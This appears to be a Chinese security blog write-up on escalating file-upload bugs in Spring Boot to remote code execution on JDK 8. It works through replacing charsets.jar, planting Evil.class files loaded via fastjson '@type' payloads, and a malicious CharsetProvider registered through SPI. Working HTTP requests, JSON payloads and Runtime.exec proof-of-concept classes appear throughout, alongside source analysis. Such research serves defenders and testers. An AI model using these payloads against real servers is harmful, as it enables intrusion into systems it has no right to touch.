spring原生场景(charsets.jar)
现在生产环境部署 spring boot
项目一般都是将其打包成一个 FatJar
,即把所有依赖的第三方 jar 也打包进自身的 app.jar
中,最后以 java -jar app.jar
形式来运行整个项目。
运行时项目的 classpath
包括 app.jar
中的 BOOT-INF/classes
目录和 BOOT-INF/lib
目录下的所有 jar,因此无法在其运行的时候往 classpath 中增加文件。
所以提出了这样一个解决办法:通过往系统classpath(JAVA_HOME/jre/lib/)添加一个jar文件(该jar文件不会在启动时被调用,而是执行某些特定操作才会被调用),执行特定操作,初始化jar文件,造成RCE。
LandGrey师傅找到了这样一个jar文件:/jre/lib/charsets.jar,如果程序代码中没有Charset.forName(“GBK”);类似的操作,那么该jar文件就不会被调用。
环境参考:https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks?tab=readme-ov-file
在springweb中,有这样一个方法:org.springframework.web.accept.HeaderContentNegotiationStrategy#resolveMediaTypes
获取Accept头部,并通过MediaType.parseMediaTypes调用
随后会来到MimeTypeUtils#parseMimeTypeInternal方法
简单来说,该方法就是对传入的字符串进行一个键值的解析,然后传入MimeType中
调用checkParameters方法
触发Charset.forName(value);
利用方式
1 2 3 4 5
| GET / HTTP/1.1 Host: localhost:18081 Accept: text/html;charset=GBK
|
缺点如下:
1 2 3 4 5
| 1,需root权限。不过好在现在docker/k8s横行,springboot服务大多数都是root权限。 2,charsets.jar加载仅一次机会。如果之前有用户使用过charset=GBK之类的加载过charsets.jar,不管是正常还是恶意的,该方法都会失效。如果该方式已经失效的情况下,你写的charsets.jar又不完整,还可能会导致服务挂掉。 3,完整的charsets.jar比较大,不过测试时不需要完整charsets.jar。 4,jdk目录需要猜测,需要字典。 5,仅jdk8或者以下适用。jdk9开始使用了模块化,不再存在charsets.jar
|
fastjson场景(charset&class)
charset
高版本中,java.nio.charset.Charset这个类在白名单中,所以可以使用如下payload进行RCE
1 2 3 4 5 6 7 8 9
| POST /fastjson HTTP/1.1 Host: localhost:18081 Content-Type: application/json Content-Length: 74
{ "@type":"java.nio.charset.Charset", "val":"500" }
|
classes
也可以通过上传class文件,然后通过期望类的方法RCE(https://threedr3am.github.io/2021/04/13/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84Fastjson%20RCE/)
Evil.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import java.io.IOException;
public class Evil implements AutoCloseable {
static { try { Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); } catch (IOException e) { e.printStackTrace(); } }
@Override public void close() throws Exception {
} }
|
上传至JAVA_HOME/jre/classes目录(如果不存在就创建一个),然后发送payload
1 2 3 4
| { "@type":"java.lang.AutoCloseable", "@type":"Evil" }
|
mac上复现:
将fastjson版本切换为1.2.68
但是这种方法只能使用一次,第二次失效,只能重启
原理:
由于双亲委派的机制,类的加载顺序会先从Bootstrap ClassLoader(sun.boot.class.path)的加载路径中尝试加载,当找不到该类时,才会选择从下一级的ExtClassLoader(java.ext.dirs)的加载路径寻找,以此类推到引发加载的类所在的类加载器为止。
我们可以通过代码查看一下Bootstrap ClassLoader的加载路径:
这里是D:\jdk_8u161\classes,那么我们在尝试加载Evil类的时候,首先就会去D:\jdk_8u161\classes查找有没有这个类,有的话直接加载,没有再继续向下
1 2 3 4 5 6 7 8 9
| 优点如下 1,多次机会写入,Evil写坏了就写Evil2/Evil3 2,写入文件不大。 缺点如下 1,需root权限。 2,jdk目录需要猜测。 3,仅jdk8或者以下适用,jdk9的ClassLoader变动,不再尝试载入该文件夹。 4,默认不存在classes目录,需要创建 5,需触发入口,不像charsets.jar那样可以header触发。
|
classes+SPI
Charset.forName原理
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| public static Charset forName(String charsetName) { Charset cs = lookup(charsetName); if (cs != null) return cs; throw new UnsupportedCharsetException(charsetName); } private static Charset lookup(String charsetName) { if (charsetName == null) throw new IllegalArgumentException("Null charset name"); Object[] a; if ((a = cache1) != null && charsetName.equals(a[0])) return (Charset)a[1]; return lookup2(charsetName); } private static Charset lookup2(String charsetName) { Object[] a; if ((a = cache2) != null && charsetName.equals(a[0])) { cache2 = cache1; cache1 = a; return (Charset)a[1]; } Charset cs; if ((cs = standardProvider.charsetForName(charsetName)) != null || (cs = lookupExtendedCharset(charsetName)) != null || (cs = lookupViaProviders(charsetName)) != null) { cache(charsetName, cs); return cs; }
checkName(charsetName); return null; }
|
最后在lookup2方法处,有三个加载charsetName的调用
1 2 3
| standardProvider.charsetForName(charsetName) lookupExtendedCharset(charsetName) lookupViaProviders(charsetName)
|
前两种方式都是内置的provider模式,无价值,看一下lookupViaProviders方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| return AccessController.doPrivileged( new PrivilegedAction<Charset>() { public Charset run() { for (Iterator<CharsetProvider> i = providers(); i.hasNext();) { CharsetProvider cp = i.next(); Charset cs = cp.charsetForName(charsetName); if (cs != null) return cs; } return null; } });
|
这里会将providers()方法的返回结果赋值给Iterator<CharsetProvider> i
,而providers方法就是一个SPI的调用
那我们就可以创建一个META-INF,里面存在一个含恶意provider的文件即可
Evil.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import java.io.IOException; import java.nio.charset.Charset; import java.util.HashSet; import java.util.Iterator;
public class Evil extends java.nio.charset.spi.CharsetProvider {
@Override public Iterator<Charset> charsets() { return new HashSet<Charset>().iterator(); }
@Override public Charset charsetForName(String charsetName) { if (charsetName.startsWith("Evil")) { try { Runtime.getRuntime().exec("open -a Calculator"); } catch (IOException e) { e.printStackTrace(); } } return Charset.forName("UTF-8"); } }
|
tomcat-docbase
springboot会在/tmp目录生成tomcat-docbase文件夹,本质相当于tomcat的根目录,因此加载类时还会尝试加载/tmp/tomcat-docbase.8080.xx/WEB-INF/classes/目录下的类。
还是和classes的方法一致,将Evil.class放到/tmp/tomcat-docbase.8080.xx/WEB-INF/classes/下,然后运行相同的payload即可
复现过程:
Evil.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
|
import java.io.IOException;
public class Evil extends Exception { public Evil() { }
static { try { Runtime.getRuntime().exec("touch /tmp/ycx"); } catch (IOException var1) { throw new RuntimeException(var1); } } }
|
1 2 3 4 5 6
| 1,无需root权限 2,不限于jdk8,jdk11下测试成功 缺点如下 1,tomcat-docbase带随机后缀,无法爆破,只能配合目录读取 2,WEB-INF/classes目录需要创建 3,触发时直接Class.forName(clazz)是不行的,必须要特定classloader,比如Thread.currentThread().getContextClassLoader()。
|